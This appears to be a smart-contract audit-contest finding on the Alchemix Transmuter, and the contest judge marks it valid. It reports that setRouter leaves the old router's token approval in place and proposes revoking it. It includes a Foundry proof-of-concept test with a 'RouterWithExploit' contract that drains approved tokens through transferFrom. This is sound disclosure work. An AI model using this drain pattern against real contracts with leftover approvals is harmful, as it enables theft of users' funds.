Alchemix Transmuter
Alchemix
DeFiFoundrySolidity
16,653 OP
View results
Previous Next
Submission Details
Severity: low
Valid

Insecure Router Approval Management in StrategyOp and StrategyArb contracts

nikolaihristov1999

Summary

The setRouter function in StrategyOp.sol and StrategyArb.sol does not revoke the approval for the old router when changing to a new router. This oversight can lead to potential security vulnerabilities and incorrect accounting like draining of funds or wrong accounting if there are exploits on the previous router/routers

Vulnerability Details

In the setRouter function of the mentioned strategy contracts StrategyArb.sol::setRouter, StrategyArb.sol::setRouter, when the router address is updated, the old router remains approved to transfer tokens. This can result in the old router retaining the ability to transfer tokens, which poses a risk if the old router is compromised or exploited. The lack of revocation for the old router's approval can lead to unauthorized token transfers and incorrect accounting

A proof of concept for the attack is provided below. This can be added into a new test file under the test folder.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
​
import "forge-std/console.sol";
import {Setup, ERC20, IStrategyInterface} from "./utils/Setup.sol";
import {StrategyOp} from "../StrategyOp.sol";
​
contract OperationTest is Setup {
function setUp() public virtual override {
super.setUp();
}
function test_oldRouterAllowanceRemainsAfterSettingNewRouter() public {
airdrop(underlying, address(strategy), 10_000);
console.log("Strategy Balance: ", ERC20(underlying).balanceOf(address(strategy)));
​
address alice = makeAddr("alice");
address router = address(new RouterWithExploit());
​
vm.prank(management);
// Set the old router
StrategyOp(address(strategy)).setRouter(address(router));
​
// Check the allowance
uint256 allowance = ERC20(underlying).allowance(address(strategy), address(router));
console.log("Allowance: ", allowance);
​
// Set the new router
address newRouter = address(new Router());
vm.prank(management);
StrategyOp(address(strategy)).setRouter(address(newRouter));
​
// Check the allowance
uint256 newAllowance = ERC20(underlying).allowance(address(strategy), address(newRouter));
console.log("New Allowance: ", newAllowance);
​
// Check the old router allowance
uint256 oldAllowance = ERC20(underlying).allowance(address(strategy), address(router));
console.log("Old Allowance: ", oldAllowance);
assertGt(oldAllowance, 0);
​
// try to steal fund from the old router
RouterWithExploit(router).stealERC20(address(underlying), address(strategy), 1000, alice);
​
// check alice balance
uint256 aliceBalance = ERC20(underlying).balanceOf(alice);
console.log("Alice Balance: ", aliceBalance);
assertEq(aliceBalance, 1000);
​
}
}
​
​
contract RouterWithExploit{
function stealERC20(address token, address _strategy, uint256 _amount, address receiver) external {
ERC20(token).transferFrom(_strategy,receiver, _amount);
}
}
​
contract Router{
}
​

Impact

The primary impact of this vulnerability includes:

  • Unauthorized Token Transfers: If the old router is compromised, it can still transfer tokens, leading to potential draining of funds.

  • Incorrect Accounting: The presence of multiple approved routers can lead to confusion and incorrect accounting of token transfers.

  • Security Risks: Exploits in the old router can be leveraged to manipulate token transfers, causing financial losses.

Tools Used

Manual code review.

Recommendations

To mitigate this vulnerability, add the following line of code to the setRouter function in StrategyOp.sol and StrategyArb.sol to revoke the approval for the old router before setting the new router:

function setRouter(address _router) external onlyManagement {
+ underlying.safeApprove(router, 0);
router = _router;
underlying.safeApprove(router, type(uint256).max);
}
​

This ensures that the old router is no longer approved to transfer tokens.

Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Old router approval is not revoked after an update

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.